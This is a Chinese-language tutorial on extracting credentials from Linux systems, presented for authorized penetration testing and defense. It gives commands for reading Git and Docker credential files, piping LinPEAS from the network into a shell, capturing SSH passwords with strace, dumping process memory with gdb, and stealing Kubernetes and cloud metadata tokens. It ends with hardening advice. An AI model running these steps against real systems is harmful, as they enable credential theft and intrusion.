涵盖本地文件、进程内存及容器环境的取证与防御策略

前言

Linux作为服务器、云工作负载、嵌入式设备的绝对主流操作系统，其凭证安全是系统防御、授权渗透测试、应急响应领域的核心研究方向。本文梳理截至2026年的主流凭证提取技术逻辑，所有示例均需在授权环境下进行，严禁用于未授权的攻击活动。

一、先搞懂：Linux凭证都存放在哪？

要理解提取技术，首先要明确现代Linux的凭证存储逻辑，和传统旧系统已有明显区别：

1. 本地用户密码哈希：现代主流发行版（Ubuntu 22.04+/RHEL 9+/Debian 12+）默认使用SHA-512加盐哈希存储用户密码，公开可读的/etc/passwd仅存用户元数据，真实哈希值在仅root可读的/etc/shadow文件中，哈希前缀$6$代表SHA-512算法。

2. 服务/应用凭证：分散在各服务配置中，比如SSH密钥在~/.ssh/目录、数据库配置在/etc/mysql/my.cnf、Web服务认证配置在Nginx/Apache配置路径、容器运行时凭证在~/.docker/config.json等位置。

3. 运行时内存凭证：进程运行过程中临时存放的明文密码、会话令牌、Kerberos票据等，仅存在于内存中不会落盘。

4. 云/集群凭证：云实例的IAM角色临时凭证、K8s ServiceAccount令牌、镜像仓库登录态等云原生场景特有凭证。

二、核心提取技术分类与实例

1. 静态文件提取（需root/提权后）

这是最基础的提取路径，核心是收集磁盘上落盘的凭证文件。但攻击者往往不是直接拿到Root，而是通过“翻垃圾”的方式在低权限下获取高价值信息。

【实战案例1：Git凭证泄露】

很多开发人员或运维会在服务器上直接拉取代码，导致Git凭证缓存。

• 场景：你拿到了一个普通用户 www-data的权限。

• 操作：

  # 查看Git全局配置，往往有账号密码或Token
  cat ~/.gitconfig
  
  # 查看Git的明文凭证存储（如果开启了credential.helper store）
  cat ~/.git-credentials
  # 输出示例：https://alice:MyStrongPassword123@github.com

• 解析：这个密码往往能登录公司的代码仓库，进而获取更多源码和部署密钥。

【实战案例2：Docker配置文件的“陷阱”】

• 场景：服务器上运行着Docker容器。

• 操作：

  # 查看Docker Hub的认证配置
  cat ~/.docker/config.json
  # 输出示例：
  # {
  #   "auths": {
  #     "https://index.docker.io/v1/": {
  #       "auth": "YWxpY2U6U3VwZXJTZWNyZXQxMjM=" 
  #     }
  #   }
  # }
  
  # 解码 auth 字段（Base64）
  echo "YWxpY2U6U3VwZXJTZWNyZXQxMjM=" | base64 -d
  # 输出：alice:SuperSecret123

• 解析：这通常是私有镜像仓库的账号密码，攻击者可以用它下载公司的私有镜像，从中挖掘硬编码密钥。

【实战案例3：自动化扫描工具 LinPEAS】

手动敲命令太慢，现代攻击者常用自动化工具。LinPEAS是目前最流行的Linux提权/信息收集脚本。

• 操作：

  # 下载并执行（安全工具，用于授权测试）
  curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

• 看点：在输出结果中，寻找 "Credentials"​ 或 "Interesting Files"​ 部分。它会自动高亮显示配置文件中的 password=、历史命令中的 mysql -p、SSH私钥文件以及环境变量中的 AWS_SECRET_ACCESS_KEY。

2. 运行时内存/进程提取（可无完整root权限）

针对运行中进程内存里的临时凭证，是近年的核心研究方向。很多密码根本不写入磁盘，只在内存中短暂存在。

【实战案例4：利用 strace抓取 SSH 登录密码】

注意：这需要 ptrace权限（通常是root，或CAP_SYS_PTRACE）。

• 操作：

  在一个终端登录SSH：ssh user@target

  在另一个终端（root权限）追踪sshd进程：

  # 找到 sshd 进程的 PID
  ps aux | grep sshd
  
  # 使用 strace 跟踪该进程读取（read）系统调用
  sudo strace -p <SSHD_PID> -e trace=read -s 128

• 输出解析：

  当用户输入密码时，你会在strace的输出中看到类似这样的明文内容：

  read(5, "mypassword123\n", 128) = 14

【实战案例5：使用 gdb从运行中进程抠出密码】

• 场景：有一个运行中的Python脚本，它连接数据库时把密码存在变量里。

• 操作：

  # 假设 python 进程 PID 是 1234
  sudo gdb -p 1234
  
  # 进入 gdb 交互界面后，打印进程内存中的字符串
  (gdb) info proc mappings  # 查看内存映射
  (gdb) dump memory dump.bin 0x7f000000 0x7f100000  # 导出内存段
  (gdb) quit
  
  # 在导出的内存文件中搜索关键词
  strings dump.bin | grep -i "password"

• 解析：即使代码里写了 password = "db_pass_123"，只要程序没退出，它就明文存在于内存里。

3. 现代云/集群场景提取

随着云原生普及，这类场景的凭证提取成为新重点。

【实战案例6：窃取 Kubernetes ServiceAccount Token】

• 场景：你攻陷了一个Pod（容器）。

• 操作：

  # 在Pod内部执行
  ls /var/run/secrets/kubernetes.io/serviceaccount/
  # 通常包含：ca.crt, namespace, token
  
  # 读取 Token
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

• 后果：拿着这个Token，你可以以该Pod的身份去访问K8s API Server，甚至可能通过挂载的权限逃逸到宿主机。

【实战案例7：云元数据服务（IMDSv1 漏洞）】

• 场景：SSRF漏洞配合老版本的元数据服务。

• 操作：

  # 在服务器上执行（模拟SSRF攻击）
  curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
  # 返回角色名：EC2-Admin-Role
  
  # 获取临时凭证
  curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Admin-Role

• 输出：

  {
    "Code" : "Success",
    "AccessKeyId" : "ASIAIOSFODNN7EXAMPLE",
    "SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "Token" : "AQoEXAMPLEH4aoAH0gNCAPy..."
  }

• 解析：有了这组临时AKSK，攻击者就可以在自己的电脑上操作你的AWS云资源（删库、开矿机）。

三、防御侧基本逻辑（反向理解提取技术边界）

1. 文件权限：严格管控/etc/shadow权限，避免非root用户可读；使用强密码策略、定期轮换，降低哈希破解成功率。

2. 避免硬编码：禁止在配置文件、历史命令、代码中硬编码明文密码，使用systemd-creds、Hashicorp Vault等专业凭据管理器分发凭证。

3. 内存防护：限制ptrace、/proc/<pid>/mem访问，用SELinux/AppArmor限制进程权限，避免非特权进程扫描内存。

4. 云安全：云环境使用短有效期临时凭据，禁用IMDSv1，避免长期AKSK硬编码在实例里。

⚠️ 合规警示

本文所有技术内容仅适用于合法授权的渗透测试、企业内部安全审计、个人技术研究、防御加固场景。未经目标系统所有者书面授权，使用上述技术获取他人系统凭证属于违法行为，违反《中华人民共和国网络安全法》《刑法》等相关法律法规，需承担民事、行政乃至刑事责任。请始终将技术能力用于合法、正当的安全防护目的。